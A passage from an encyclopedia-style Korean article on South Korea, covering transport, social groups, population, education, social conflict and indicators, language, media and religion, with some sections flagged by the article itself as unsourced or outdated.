5;km 초과시마다 100원씩 추가된다. 그러나 민영 도시철도인 신분당선은 기본요금이 1,750원이고, 다른 노선에서 신분당선으로 환승할 경우 700원이 추가된다.[60] 수도권 전철은 인천 도시철도, 인천공항, 김포공항과도 연결된다. 1985년 개통된 두 번째로 큰 부산 도시철도는 총 길이 131.7km에 1호선, 2호선, 3호선, 4호선, 부산김해경전철 5개 노선이 운행되고 있으며, 이외에도 대구지하철 1호선, 2호선 2개 노선이 운행되고 대전지하철 1호선 1개노선이 운영, 광주1호선 1개 노선 운행 등 일부 광역시들을 중심으로 도시철도가 계속되어 건설중이다. 요금은 각 지자체에서 따로 규정하여 조금씩 다르다. 복지 정책으로 65세 이상의 노인과 장애인, 국가유공자는 무임으로 승차할 수 있다.(부산-김해 경전철은 노인도 유임승차) 서울 9호선 고속터미널역의 내부모습. 대한민국의 도시철도는 대체로 운행 시간이 정확하고 위생환경과 전반적인 이용이 쾌적하다는 긍정적인 평가를 받으나 실내먼지 오염농도가 높고, 출퇴근 시간에 사용자가 많은 일부 역에서 극심한 혼란이 빚어지는 등 개선점도 지적되고 있다. 또한, 과거에는 의자 등의 내부 자제들을 합성수지로 된 쿠션을 많이 사용하였으나 2003년 대구 지하철 화재사고 이후로 모든 자제들을 불연성 재질로만 사용하도록 규정이 변경되어 현재 모든 지하철과 전철에 적용되어 있고 방독면이나 소화기 등도 잘 비치되어 있다. 이 외에 선로 추락 사고나 자살 등을 예방하기 위한 대책으로 현재 수도권지역의 모든 역에 스크린도어를 설치 하였으며[61] 최근에 개통한 부산, 대구, 대전, 광주의 일부 도시철도 승강장에도 스크린도어가 설치되어있는 경우가 있고 부산 도시철도의 경우 모든 승강장에 안전펜스와 스크린도어를 설치하였다.[62] 최근에 대한민국의 지방자치단체들은 도시철도로써 건설비가 많이드는 중전철보다 경전철을 선호하여 전국 각지에서 운행중이거나, 계획과 건설이 이루어지고 있다. 항공 교통 대한민국에는 8개의 국제공항과 7개의 국내선 공항이 대한민국 내외의 항공 교통을 담당하고 있다. 항공교통은 광복 후 1948년 대한국민항공사(KNA)가 설립되어 국내선을, 1954년 이후 국제선을 운항하였다. KNA는 1962년에 대한항공공사로 개칭하고 국영으로 운영되다가, 1969년 한진상사가 인수하여 대한항공으로 개명하고 민영으로 운항되면서 급속한 성장을 보였다. 1988년 제2민간항공사업이 허가됨으로써, 금호그룹의 아시아나항공과 함께 경쟁체제로 바뀌었다. 또한 대한항공은 2007년 기준으로 약 100억 톤의 화물을 처리하였다. 최근에는 진에어, 에어부산 등 여러 저가항공사도 운행되고 있다. 해상 교통 수출입화물운송에서 절대적인 지위를 점하고 있는 해운업은 선박의 노후화, 선원부족, 비용가중이라는 내부적 문제에 비국적선 취항증가로 경영압박을 받고 있다. 2002년 말 전국의 항만수는 총 49개항이며, 이 중 무역항이 27개, 연안항이 22개항이다. 이들 항만의 연간 하역능역은 2억7,259만5,000톤으로 1988년의 1억7,077만톤보다 약 1.6배 증가했다. 선박등록현황은 총 763만 7,549톤(6,792척)이며, 이 중 여객선 12만 4,513톤(190척), 화물선 521만 4,636톤(725척)이고, 외항선박들의 주요정기항로 취항현황을 보면 북미 25척, 동남아 48척, 한일항로 55척 등이다. 사회 이 문단의 내용은 출처가 분명하지 않습니다. 지금 바로 이 문단을 편집하여, 참고하신 문헌이나 신뢰할 수 있는 출처를 각주 등으로 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2019년 2월 2일에 문단의 출처가 요청되었습니다.) 이 문단의 일부는 오래된 정보를 가지고 있어 최신 정보로 교체되어야 합니다. 검토 후 최신 사건이 반영되도록 문서를 수정해 주세요.내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2019년 2월 2일) 2010년 10월 대한민국의 총인구는 주민등록상 5000만 명을 돌파했다. 대한민국의 모든 국민은 자동으로 건강보험에 의무적으로 가입되며 국가가 피부양자로 지정된다. 초등학교 6년과 중학교 3년은 무상의무교육이다. 민주화 이후의 한국 사회는 보수와 진보의 극심한 이념 대립 등에서 기인한 사회 갈등이 존재한다. 인종이나 민족에 대한 명확한 통계는 나온 적이 없으나, 국민의 대부분은 한국어를 모국어로 사용하는 한민족이다. 고대부터 중국 대륙 등지로부터의 인구 유입도 잦았으나 그들도 같은 민족으로 융화되었다. 다만 독립 이후 중국, 동남아시아를 비롯한 제 국가로부터의 이주가 늘어나면서 다민족적인 요소 또한 증가하고 있다. 대한민국에 살고 있는 외국인은 150만 명 정도인데, 이 가운데 가장 인구가 많은 외국인은 중국인으로 그 중 상당수는 한국계 중국인에 해당한다. 그 외의 외국인으로는 미국, 일본, 인도네시아, 필리핀, 베트남, 태국, 캄보디아, 라오스, 러시아, 우즈베키스탄 등의 출신의 사람들이 거주하고 있다. 사회적 약자 노동자 2016년 8월 기준 전체 대한민국의 임금노동자는 19,627,000명으로 그 가운데 2,664,000명이 최저임금보다 낮은 보수를 받고 일하는 것으로 추산됐다고 통계청은 전했다. 고용노동부가 발표한 '2016년 전국 노조 조직현황'에 따르면 국내 전체 노조 조직률은 전년보다 0.1%포인트 오른 10.3%로 집계됐다. 노조 조합원 수는 196만6681명으로 전년보다 2만8136명(1.5%) 증가했다. 이 수치는 전교조가 법외노조가 되며 통계에서 빠진 수치이다.[63] 대한민국의 노동조합 연맹체로는 전국민주노동조합총연맹(민주노총), 한국노동조합총연맹(한국노총) 등이 있다. 성소수자 이 부분의 본문은 대한민국의 성소수자입니다. 성 소수자, 동성애 혐오#한국의 동성애자 탄압, 청소년 성소수자의 자살 문서를 참고하십시오. 대한민국에서는 수구, 기독교 근본주의 세력에 의한 성소수자 혐오와 차별 등이 존재해 왔다. 대한민국에서는 2000년 홍석천, 하리수, 이시연 등의 등장 이전에는 성소수자라는 사실을 밝히기만 해도 주변에서 따돌림, 학교 폭력에 노출되거나 취업 등에 불이익 등을 받아왔다. 성소수자들은 1992년 이후 본격적으로 한국 사회에서 목소리를 내기 시작하였으며, 1993년 성소수자 단체 초동회가 처음 결성되고 1년 뒤에는 남자 동성애자인 게이, 트랜스젠더 모임인 친구사이와 레즈비언 단체인 끼리끼리로 분리되었다. 1997년에는 대학생 동성애자 인권단체인 대학생동성애자인권연합이 결성되고 이듬해 동성애자인권연대로 명칭 변경, 2015년 행동하는 성소수자 인권연대로 명칭 변경하였다. 1998년 5월 17일에는 성소수자 인권 운동가 오세인이 1997년 자신이 게이임을 가족에게 밝혔다가 추방당한 후, 활동하던 단체 사무실에서 자살하였고, 2003년 4월 26일에는 동성애자를 악마, 사탄 등으로 비판하는 개신교계의 공격과 동성애를 청소년 유해 단어, 음란물로 지정하려는 움직임 등 성소수자 혐오에 저항하는 활동을 하는 시인 겸 작가 육우당이 끝내 자살하게 되는 사건이 있었다. 2000년 이후 자신이 게이임을 커밍아웃한 홍석천을 시작으로 트랜스젠더인 하리수, 이시연 등의 공개적 활동 등으로 성소수자들에 대한 맹목적 거부감이 사회적으로 서서히 사라지기 시작하였다. 이후 일부 단체와 일부 사회 인사들을 중심으로 성소수자들의 활동을 지지, 성소수자 문화제 개최 등의 행사가 본격 등장하였다. 현재, 대한민국 내 대표적인 성소수자 인권단체 연맹체로는 성소수자 차별반대 무지개행동 (무지개행동)이 있다. 여성 대한민국의 기득권층에서의 여성의 활약이 미미하다고 분석되는데, 2017년 이코노미스트 유리천장 지수에서 한국의 고위직 여성 비율은 10.5%, 기업 이사회 내 여성 임원 비율은 2.4%로 나타나 OECD 29개국 중 최하위를 기록했다. 대한민국 국회 내 여성 비율은 17%로 이는 OECD 평균(28.2%)보다 낮은 수치다. 근 십여 년간 대한민국의 대기업들이 외국인 임원과 여성 관리자를 뽑았지만 그 중 상당수는 몇 년도 버티지 못했다. 2010년 SK의 첫 외국인 여성 임원(2008~2010년)이었던 린다 마이어스는 "한국 기업은 다양성 문제에서 너무 보수적이고 변화에 느리다"고 평가했다.[64] 이주민 중화권, 일본, 동남아시아, 아랍, 독립국가연합 등을 비롯한 세계 여러지역의 사람들과 결혼하는 한국인이 늘고 있으며, 이러한 새로운 형태의 가정을 '이주가정'이라고 부른다. 특히 농촌 지역 기준 결혼 등록건수의 50%에 해당하는 1만여 건 정도가 국제결혼으로 등록되고 있다. 1990년대 초까지 남아선호사상이 잔존하였으며, 1970년대의 박정희 정부의 '둘만 낳자'는 가족 계획과 1980년대 전두환 정부의 '하나 낳아 알뜰살뜰' 등의 가족 계획으로 여자 아이에 대한 낙태 현상 등으로 1970년~1990년대 초반 출생자들 사이에서는 남녀 간의 성 비율이 깨져 여성에 비교하여 남성의 수가 월등히 많은 현상이 도래하였다. 또한 1980년대 후반부터 농촌 기피 현상으로 일부 농촌 지역 노총각들이 결혼, 연애가 어려운 것에 비관하여 자살하는 일이 증가하였으며, 1990년대 이후에는 외국에서 배우자를 찾는 농촌 총각들이 증가하였다. 이주노동자는 1990년대 이후 국민들의 생활수준이 전반적으로 향상되면서 1970년대 이후 고졸이던 평균 학력이 1995년 고교평준화와 학력고사 등의 폐지 이후 대졸 내지는 초대졸로 변화하였다. 그에 따라 청년층이 '3D 업종' 또는 '4D 업종'으로 분류되는 직업을 기피하는 현상이 발생하고 있다.[65] 또한 3D 업종과 4D 업종으로 분류되는 직종 외에도 중소기업과 일부 공장 등에 대한 기피현상이 두드러지게 나타나고 있다. 그로 인해, 각지에서 많은 이주노동자들이 대한민국에 들어와 일하고 있다. 이들은 합법적으로 취업 비자를 받고 입국한 산업연수생과 불법적으로 들어온 불법 체류자로 나뉘는데, 일반적으로 이주노동자라 하면 이들 둘을 통틀어 가리킨다. 2010년 기준으로 대한민국의 이주노동자 수는 55만 명으로, 전체 경제활동인구의 2.2%를 차지하고 있다. 일각에서 이주노동자가 일자리를 빼앗아 간다는 견해가 있음에도 불구하고 이주노동자의 비율은 10% 대를 넘지 않고 있다. 난민 대한민국 내 난민의 대부분은 북측에서 나온 탈북자로, 정부에서는 이들을 특별 취급하여 국적 부여, 생활 지원 등 다양한 혜택을 부여하고 있다. 또한 1990년대 이후 정치적 난민을 인정하기 시작하여 아프리카나 아랍권의 일부 국가로부터 정치적 혹은 종교적 박해를 피해 입국한 이들을 인도적으로 받아들이고 있으나 그 수는 일반적인 선진국에 비해 많지 않다. 인구 이 부분의 본문은 대한민국의 인구입니다. 2012년 6월 23일을 기준으로 대한민국 통계청은 총인구가 5000만명을 돌파했다고 발표했다. 이는 세계 194개국 중 26위이다. 광복 직후에는 해외 동포들이 귀국하고, 6.25전쟁 때에는 조선민주주의 인민공화국인들이 많이 월남했는데 광복 직후에는 약 180만 명, 6.25전쟁에 약 100만 명이 남쪽으로 내려왔다. 1960년대 이후 대도시에 인구가 집중하게 되는 도시화 현상이 일어났으나, 최근에는 쾌적한 생활을 위한 역도시화 현상도 나타나고 있다. 1970년 이전까지 5백여만 명이던 서울의 인구는 1988년에 1천만 명을 돌파하였다. 이후 서울의 인구 증가는 정체 상태에 있으나, 인근 경기도의 인구가 급증하여 2007년 10월말 현재 수도권 거주 인구는 2390만 3785명으로 전국 인구의 48.6%를 차지하였다. 인구 밀도는 503명/km2이다. 1990년대 들어 감소 경향을 보이던 서울의 인구는 2000년대 들어 소폭 증가하기 시작, 2009년에는 1046만명으로 6년 연속 증가했다. 인구 유입등으로 수도권 전체 인구는 증가하는 반면 부산은 지속적 감소로 1995년 381만 명에서 2013년 356만명으로 급감했으나 대신 인근 경상남도 지역의 인구가 증가하고 있다. 대구 역시 253만명에서 252만명으로 줄어들었다. 인천은 약 298만명, 대전 155만명, 광주 148만명 울산 117만명 등이다. 대한민국의 도시화율은 81.5%로, 전 세계적으로 매우 도시화된 국가에 속한다. 대한민국은 1970년을 전환점으로 하여 2% 미만으로 인구 증가율이 감소하는 추세를 보이고 있다. 2009년 기준으로 합계출산율(여성 한 명이 평생 동안 낳는 자녀 수)은 1.19명으로 전년에 비해 0.06명 감소했다. 최근 3년간 출산율이 증가 하였으나 경제위기로 인해 출산율이 감소한 것으로 보인다. 2009년의 출산율은 종전의 2008년 1.19보다도 떨어져 1.15를 기록했다. 출생아수는 445,200명(통계청)으로 여전히 세계 최저수준의 출산율을 기록하고 있어 인구 감소에 큰 영향을 미칠 것으로 전망된다. 통계청의 2009년 10월 출생아수가 40200명에서 40100명으로 축소 수정 발표된 이후 잠정 통계치에서는 37700명으로 2차 축소 수정 발표가 되어 1차 발표치보다 2500명이 줄어들어 발표되었다. 2016년 4월, 행정자치부의 정보에 의하면 현재 대한민국의 인구는 약 51,584,349이고 2017년 2월 행정자치부에 따르면 51,712,221명이다. 도시의 인구 순위 이 부분의 본문은 대한민국의 인구순 도시 목록입니다. 교육과 문화 이 부분의 본문은 대한민국의 교육입니다. 초등학교 6년과 중학교 3년이 의무교육이다. 고등학교는 3년 과정이며, 일반계(인문계, 자연계)·전문계(실업계)·특수 목적 고등학교(특목고)로 분리되어 있다. 고등교육에는 4~6년제 대학교와 2~3년제 전문대학이 있다. 2005 년 인구주택총조사에 따르면, 교육을 받는 정규학교 재학자는 1089만 명(24.7%), 졸업자는 2987만(67.8%), 중퇴자는 96만 명(2.2%)이고, 졸업자는 초등학교 및 중학교 졸업자는 750만 명(24.5%), 고등학교 졸업자는 1263만 명 (41.2%), 대학 졸업 이상은 1050만 명(34.3%)을 나타내는데, 이는 교육 수준이 상당히 높은 것으로 볼 수 있다. 하지만 이러한 높은 교육수준은 대한민국의 교육정책에 의해서 기인된 현상으로 보는 경우가 많으며, 현재에는 오히려 학력인플레이션으로 인해 청년실업의 증가가 사회의 심각한 문제로 대두되고 있다. 대한민국은 대학교 진학률이 다른 국가에 비해 상당히 높은 편이다. 일반적으로 대학교에 진학하려는 사람들은 대학수학능력시험(수능)을 치르게 된다. 대학수학능력시험은 고등학교 졸업 예정자 혹은 고등학교 졸업에 상응하는 학력을 가진 사람이면 누구나 치를 수 있다. 이 외에도 각 대학에서는 수시입학전형, 특별전형 등을 통하여 개별 대학의 요구에 맞는 학생들을 선발하고 있다. 또 대한민국은 사교육 시장이 크게 발달되어있어, 사교육에 들어가는 비용이, 각 가정마다 월평균 70여만원을 웃돌고 있다.[66] 복지 이 문단은 비어있습니다. 내용을 추가해 주세요. 사회 갈등 미국산 소고기 수입 반대 촛불 집회 민주화 이후의 한국 사회는 우파와 좌파의 극심한 이념 대립 등에서 기인한 사회 갈등이 존재한다.[67] 2000년대 들어서 이러한 갈등은 고도로 발달된 인터넷 여론에 기반한 전국적인 규모의 촛불 집회로 종종 표출되었다. 이러한 대한민국의 대규모 촛불 집회에 대한 평가는 이념 진영에 따라 판이하게 다르다. 촛불 집회에 대하여 좌파진영은 시민들의 민주 의식 신장에 따른 자연스러운 현상[68]으로 민주주의의 필수 요소인 시민의 적극적 참여를 이끌어 냈다는 점, 인터넷을 통해 직접민주주의에 다가갔다는 점에서 긍정적으로 평가한다. 하지만 우파진영은 선동에 의한 자유민주주의의 왜곡과 특정 정파 이해집단의 욕구를 위한 창구로 활용된다는 점을 들어 사회 혼란, 경제적 손실을 초래했다고 평가한다.[69] 또한 한국의 노사갈등에 대하여 상당수의 국민들이 문제라고 인식하고 있으며,[70] 국제경영개발원에 의하면 한국의 노사관계는 57개국 중 56위로 선정되어 시급한 문제로 꼽히고 있다.[71] 이념 대립의 연장선에서 자유민주주의의 실현 방식에서 국가주도의 사회운영과 성장을 주장하는 국가주의세력과 개인의 자유에 따른 사회운영을 주장하는 동시에 분배를 중시하는 자유주의·진보주의 세력간 논리의 충돌도 있다. 이는 서방세계와 같은 좌우대립의 이념지형이 제대로 형성되지 않은데서 기인한 사회 갈등인데 그 원인으로 일각에서는 대한민국이 반공반북을 중요시하여 좌파의 존재를 부정해야 하는 환경이 장기간 지속되었고 1980년대 학생·노동운동 진영에 의해 만들어진 좌우대립의 이념지형도 1990년대 초 세계적인 공산주의의 몰락으로 사라져 서방세계와 같은 이념지형이 형성되지 못했기 때문이라고 보고 있다.[72] 갈등·소통 지수 대한민국의 갈등 지수는 2009년 삼성경제연구소가 조사한 결과 OECD 회원국 중 4위에 해당하였으며, 이 같이 높은 사회 갈등에 따른 비용으로 국내총생산(GDP)의 27%인 약 300조원을 지출하고 있는 것으로 나타났다.[73] 대한민국의 소통 지수는 2011년 아시아포럼21이 조사한 결과 100점 만점 중 이명박 정부의 소통 지수는 45.8점, 한나라당의 소통 지수는 42.6점, 기성세대와 젊은세대 간 소통 지수는 36.2점으로 모두 50점 이하인 걸로 나타났다.[74] 사회 지표 삶의 질 삶의 질은 2011년 8월 21일 기획재정부가 한국개발연구원(KDI)에 의뢰해 순위를 매긴 결과, 경제협력개발기구(OECD)와 주요 20개국(G20) 회원국 39개국 가운데 27위에 그친 것으로 나타났다. 대한민국의 삶의 질은 지난 2000년과 2008년 모두 27위로 하위권에 머물렀었다.[75] 행복 지수 행복지수는 OECD 평가 국민 행복도에서는 34개 나라 중 26위, 영국 NEF재단의 행복도 조사 결과에서는 68위, 미국 포브스의 행복순위 조사 결과에서는 56위, MBN과 매일경제신문의 국민 행복지수 조사에서는 5점 만점에, 3.4점으로 해외 평가선 낙제점을 겨우 면한 수준으로 나타났다.[76] 어린이·청소년 행복지수는 한국방정환재단과 연세대 사회발전연구소가 2011년 3월 ~ 4월 간 조사한 결과 OECD 23개 회원국 중 23위로 최하위에 해당하였다.[77] 이혼율 이혼율은 OECD 국가 중 2000년 8위[78], 2001년 4위[79],[80] 자살률 대한민국의 자살 문서를 참고하십시오. 대한민국의 자살률은 전 세계 6위이다.[81] 그 외 사회복지 지출은 34개국 중 33위이나 사회복지 지출 증가율은 34개국 중 4위로 나타났다. 부패지수는 30개국 중 22위(부패지수가 높을 수록 청렴하다.), 공동체 구성원 간 신뢰도는 19개국 중 13위, 법치에 대한 인식은 34개국 중 25위로 나타났다.[48] 심리 인종 차별이 다른 아시아 국가에 비해서 유독 심하며, 백인은 차별이 거의 없으나, 흑인 및 황인은 오히려 차별을 당하는 경우가 많다.[82] 또한, 한국어를 모르는 아프리카 및 동남아시아 사람들에게도 차별 대우를 하는 경우가 있으며, 유럽 같은 경우에는 차별이 그렇게 심하지 않다. 경쟁 심리도 심각하다. 대한민국은 어려서 부터 성적, 경쟁 위주의 교육과 문화 속에서 성장하게 함으로써 경쟁과 그 속에서 살아남는 법을 배우게 한다. 이에 따라 남과 나를 비교하며 오직 높은 곳만을 추구하게 되는데, 이는 성인이 되어서 학력위주 경쟁, 스펙위주 경쟁, 실적위주 경쟁, 외모지상주의, 물질만능주의 등으로 획일화 된다.[83][84][85][86] SBS와 한국갤럽이 2011년 천 명을 대상으로 설문조사한 결과, 우리 사회의 경쟁 수준은 평균 76점으로 10년 전보다 20점 가까이 높아져 경쟁이 계속 가속화 됨을 보여주었으며, 국민 10명중 8명이 "과도한 경쟁에 부담을 느낀다"고 대답하여 상당수가 부담감을 느끼는 것으로 나타났다.[84][87] 경쟁은 모두를 스트레스 속에 놓이게 하며, 장기간 스트레스는 매우 예민해지게 만들고, 분노, 불면증, 우울증 등의 신체·정신적 증상을 동반하게 된다.[88] 그래서 이를 담당하는 정신과 진료와 심리 상담 치료의 횟수가 늘어나고 있으나, 여전히 언덕위의 하얀집으로 불리는 등 차별의 대상이 되고있어 상당수가 기피하는 실정이다.[89][90][91] 또 경쟁은 다수의 패배자를 생산하게되는데, 이는 다수의 자존감 저하와 수치심, 분노심 상승의 원인이 되고있다.[83][84] 결국 사회 전반의 동질성 추구와 이질성 거부 심리, 경쟁 심리는 복합적으로 작용하여 외국인 차별, 왕따, 학교 폭력, 인터넷 악플 등으로 표출되고 있으며, 이에 따른 피해로 정신 이상자의 수를 늘리거나, 그런 정신 이상자를 방치하게 되어 자살자를 늘리거나, 사회에 불만을 품고 불특정 다수에게 행하는 묻지마범죄의 수를 늘리는 결과를 가져오고있다.[92][93] 이에 유엔 아동권리위원회는 2011년 10월 '대한민국 3, 4차 정부보고서에 대한 아동의 권리에 관한 협약 최종 견해'라는 보고서를 통해 학생의 성적에 따른 차별과 경쟁적인 교육체제에 대해 지적하며 개선을 요구하였다.[94][95] 대응 학력 차별에 대한 대응으로 이명박 대통령은 2011년 라디오 연설에서 '학력차별 없는 사회'를 강조하였으며, 고용노동부가 고등학교 직업 교육에 지원을 강화하는 등 능력 중심의 열린 고용 지원에 나서고 있다.[96] 하지만 백혈병이 생겨 산업 재해로 인정 받는 학생이 나오는 등 고등학교 현장 실습이 노동력 착취 수단으로 이용되는 경우가 많은 상황이다.[97] 2011년 정부에 의해 명칭을 '정신과'에서 '정신건강의학과'로 변경하는 등 다양한 진료를 하는 분야임을 알리기 위한 시도를 하고 있으며,[98] 남녀 심리,치료,범죄 심리 등 다양한 방송 프로그램 주제로 사용하거나,[99] 교수가 직접 매체로 나와 강의를 하는[100] 등 대중에게 다가가기 위한 노력을 지속하고 있다. 이러한 결과로 과거 대학교의 비인기 학과였던 '심리학과'가 상위 경쟁률을 기록하고, 관련 주제의 책이 대거 출간되고, 베스트 셀러에 오르는 등 인기가 높아지고 있다.[99] 여가 한국콘텐츠진흥원이 2011년 발표한 자료에 따르면 대한민국 국민 전체의 여가 시간에 즐기는 활동 중 게임이 29.9%로 가장 높았다. 연령별 연령별로는 30대 미만의 경우 역시 게임이 가장 높게 나타났다. 반면 30대 이상 연령층은 영화와 TV 시청을 선호하는 것으로 나타났다. 스크린 다이제스트의 자료에 따르면 대한민국 1인당 영화 관람 횟수는 2013년 4.12편으로 미국의 3.88편을 제치고 세계에서 영화를 가장 많이 보는 것으로 나타났다.[101] 자신의 여가생활에 대한 불만족 이유들로는 ‘시간 부족’ 비율이 45.9% 였고, 그 다음으로는 ‘경제적 부담’이라는 이유가 45.6%로 나타났다.[102] 문화 이 부분의 본문은 한국의 문화입니다. 1948년 이전 한반도를 중심으로 한 한민족의 문화에 관해서는 한국의 문화 문서를 참고하십시오. 강릉 경포대 서당(書堂), 단원풍속도첩(檀園風俗畵帖), 종이에 담채, 1780년경 김홍도 작. 한국은 반도에 있는 지리적 조건으로 대륙 문화와 해양 문화의 영향을 모두 받았다. 고대의 한국 문화는 시베리아, 중앙아시아의 북방계와 동남아시아의 남방계가 혼합된 바탕에 중국 등 이웃 나라에서 들어온 외래 문화와 한국 고유의 독자적 문화와 융합하여 발전했다. 언어 이 부분의 본문은 한국 § 언어와 문자입니다. 훈민정음(訓民正音) 관습적인 공용어이자 법적인 공용어는 한국어로, 그 계통이 학계에서 확증되지 않은 고립된 언어이지만 많은 학자들이 알타이어족과 연관성 있음을 주장한 바 있고, 특히 많은 한국인 학자들은 한국어가 알타이어족에 속한다고 보고 있다. 한국어 표기에 쓰이는 문자인 한글은 세종대왕이 원로대신들의 반대를 무릅쓰고 언문청(諺文廳) 또는 정음청(正音廳)을 설치하여, 훈민정음이라는 명칭으로 1446년 반포하였다. 한글은 각 자음과 모음이 하나의 기호로 표시되고, 그 자음과 모음을 모아써서 소리를 나타내는 표음문자이다. 한글의 자음은 발음기관의 모양을 본뜨고 모음은 천(하늘:ㆍ),지(땅:ㅡ),인(사람:ㅣ)을 나타내는 각 부호의 조합으로 만든, 세계에서 유일하게 그 창제 원리가 밝혀진 문자이다. 한글 창제 이전에는 삼국 시대 혹은 그 이전부터 써왔던 한자와 이를 당시의 한국인이 쓰던 입말에 맞는 한자의 소리만 따서 문자로 표기한 향찰, 구결, 이두 등이 한국어 기록 수단이었다. 한자는 훈민정음 창제 이후에도 양반층 및 관공서에서 계속 써왔으며, 1894년 갑오개혁 이후에야 비로소 공문서에 한글을 쓰기 시작했다. 일부에서는 글의 이해를 돕는다는 측면에서 한글 대신 한자로 직접 표기하기도 한다. 1962년 3월 1일 박정희 대통령의 한글전용정책이 시행되면서 표기문자의 주류로 등장했고, 현재 한자 표기는 중의적 표현을 막기 위해 부수적으로 쓰고 있다.(한글맞춤법 참고) 초등학교 3학년부터 중학교, 고등학교에서는 영어를 제1외국어로 의무 교육으로 가르치고 있으며, 대한민국에서 교육하는 영어는 미국식 영어를 기준으로 하고 있다. 중학교에서부터 선택하여 배울 수 있는 제2외국어로는 중국어, 프랑스어, 독일어, 일본어, 스페인어, 러시아어, 아랍어 등의 7개 언어가 있다. 고등학교에서도 제2외국어를 배울 수 있으며, 대학수학능력시험때 수험생이 제2외국어를 선택할 수도 있다. 특히 일본어와 중국어는 대한민국 국민들이 가장 많이 배우는 제2외국어이기도 하다.[103] 언론 이 부분의 본문은 대한민국의 언론입니다. 대한민국 헌법에 의하면 언론의 자유를 인정하는 것과 더불어 집회, 결사, 표현의 자유를 허용하고 있다. 대한민국의 일간 신문은 크게 전국지와 지방지로 나뉜다. 전국지는 대한민국 전국을 대상으로 발행되며, 지방 소식을 전달하기 위해 일부 지면을 할애한다. 지방지는 특정 지역에 연고를 둔 신문으로 전국적인 뉴스를 다루기도 하지만 주로 해당 지역의 뉴스를 다룬다. 전국지로는 조선일보, 중앙일보, 동아일보 등의 보수적인 신문, 이른바 '조중동'과, 한겨레, 경향신문 등의 진보적인 신문, 이른바 '한경오'으로 분류되고 있다. 2008년 한국언론재단에서 조사한 자료에 따르면 시장점유율은 조선일보 11.9%, 중앙일보 9.1%, 동아일보 6.6%, 경향신문 2.7%, 한겨레신문 1.7% 의 순으로 나타나고 있다.[104] 특정 분야를 전문적으로 다루는 전문지들도 있으며, 크게 경제에 관련된 소식을 다루는 경제지와, 스포츠와 연예계 소식을 다루는 스포츠지를 들 수 있다. 한편 주요 도시의 공공시설에서 출근 시간대에 무료로 배포되는 무가지가 존재하며,[105] 인터넷 매체를 통한 인터넷 신문도 존재한다. 2008년 기준 대한민국 일간지의 수는 약 288종, 주간지의 수는 약 2,896종, 월간지의 수는 약 3,293종, 격월간지의 수는 약 459종, 계간지의 수는 약 981종, 년 2회의 수는 약 325종, 인터넷 신문의 수는 약 1,040종 정도가 있다.[106] 방송의 경우 지상파 텔레비전 방송, FM라디오 방송, AM라디오 방송, 단파 라디오 방송, 케이블 방송, 디지털위성방송, 지상파 DMB 방송 등이 있다. 현재 전국 단위 지상파 방송으로 국공영 방송인 한국방송공사(KBS)와 준공영방송인 문화방송(MBC)이 있다. 지역 단위 지상파 민영 방송으로는 한국방송공사와 문화방송(MBC)을 중심으로 한 계열과 서울지역의 지역민영방송인 에스비에스(SBS)를 중심으로 한 SBS 네트워크 계열이 있으며, 그외 독자적인 지방 민영방송인 경인지역의 경인TV가 있다. 그외 한국교육방송공사법에 따른 공영방송인 한국교육방송공사(EBS)이 지상파 방송으로 있다. 종합편성채널 4사로는(JTBC, MBN, 채널A, TV조선)와 보도 채널인 연합뉴스TV와 YTN 등 2개의 보도 채널이 존재하며, 케이블TV 최대 PP사업자인 CJ E&M과 티캐스트도 있다. 라디오 방송의 경우 지상파 방송사인 KBS, MBC, SBS, EBS가 점유하는 주파수와 기타 기독교방송(CBS), 극동방송(FEBC), 불교방송(BBS), 평화방송(PBC), 원음방송(WBS) 등 종교방송의 주파수, 교통안내 전문 방송인 교통방송(서울은 TBS, 기타 지역은 TBN 한국교통방송), 국악 전문의 국악방송, 그리고 국방홍보 목적의 국군방송 등의 여러 방송사가 존재한다. 대한민국은 미국에 이어 세계에서 두 번째로 인터넷이 연결된 나라이며, 세계 최고 속도의 인터넷 속도를 보유하고 있다. 높은 초고속 인터넷 보급률과 인터넷 이용률을 보이는 대한민국은 2000년 초중반 인터넷 신문을 표방한 오마이뉴스, 프레시안 등의 등장과 함께 인터넷 신문과 포털사이트를 중심으로 한 인터넷 언론 매체가 두각을 나타내고 있다. 이런 인터넷 언론 매체들은 인터넷 매체 특유의 신속성과 높은 접근성 등을 강점으로 대한민국 사회에서 여론 형성에 상당한 위력을 보이고 있다. 참고로 단순 뉴스 전달자에 불과했던 포털사이트가 하나의 언론세력으로 성장하는 변화를 보임에 따라, 대한민국 정부는 인터넷 신문사, 포털사이트를 언론 기관으로 보고 법적 규제를 마련했다.[107] 종교 종교 구성 (2015년 인구주택 총 조사)[108] 종교없다    56.1% 불교    15.5% 개신교    19.7% 천주교    7.9% 기타    0.8% 경주 석굴암 이 부분의 본문은 대한민국의 종교입니다. 대한민국에는 고대로부터의 전통적인 토착신앙으로서 무교(무속신앙)이 있다. 불교와 유교는 오래전 삼국시대부터 유입되었으며, 불교는 5세기부터 14세기 말(삼국시대 및 고려시대)에 이르는 약 1천 년 동안 한반도에서 융성하여 많은 사찰과 문화유산을 남기고 현재 단일 종교로는 대한민국에서 가장 신도수가 많다.[109] 14세기 말 조선에서는 유교가 국교로 지정되었다. 그러나 현재는 유교를 학문과 사상, 가치관 그리고 철학으로서 배우는 사람은 있으나 신앙의 대상으로 삼는 사람은 그다지 많지 않다. 유교는 현재까지도 한국인들의 풍습이나 습관, 습성, 가치관, 사상, 생활 방식 등에 많은 영향을 미치고 있다. 기독교의 경우 천주교는 조선 후기에 이승훈 등에 의해 서학이라는 이름으로 전파되었으며[110], 그 교세가 확장되자 병인박해, 신유박해 등 대규모 박해 사건이 일어난 일 때문에 프랑스의 병인양요가 일어난 계기가 되어 조선 정부의 탄압이 거세졌다. 당시의 순교자 중 103명이 로마 가톨릭교회에서 시성되어 성인이 되었다. 19세기 말부터 20세기 초 사이에 미국의 개신교 선교사들의 선교활동으로 학교와 개신교 교회들이 세워졌다. 이 시기에 감리교, 장로회 등의 개신교, 성공회, 정교회 선교사가 파송됨으로써 전파되었고 양적인 성장이 있었다. 대한민국의 기독교 역사는 비록 짧으나 빠른 속도로 발전하여 현대 사회에 큰 영향을 발휘하고 있으며 전 세계적인 종교활동 및 선교가 활발하다. 현재 성공회, 천주교와 정교회, 개신교를 합친 기독교 인구는 전 종교 중에서 가장 많다. 그 밖에 천도교(동학), 대종교, 원불교, 증산도, 통일교 등 여러 신흥 종교가 19세기에서 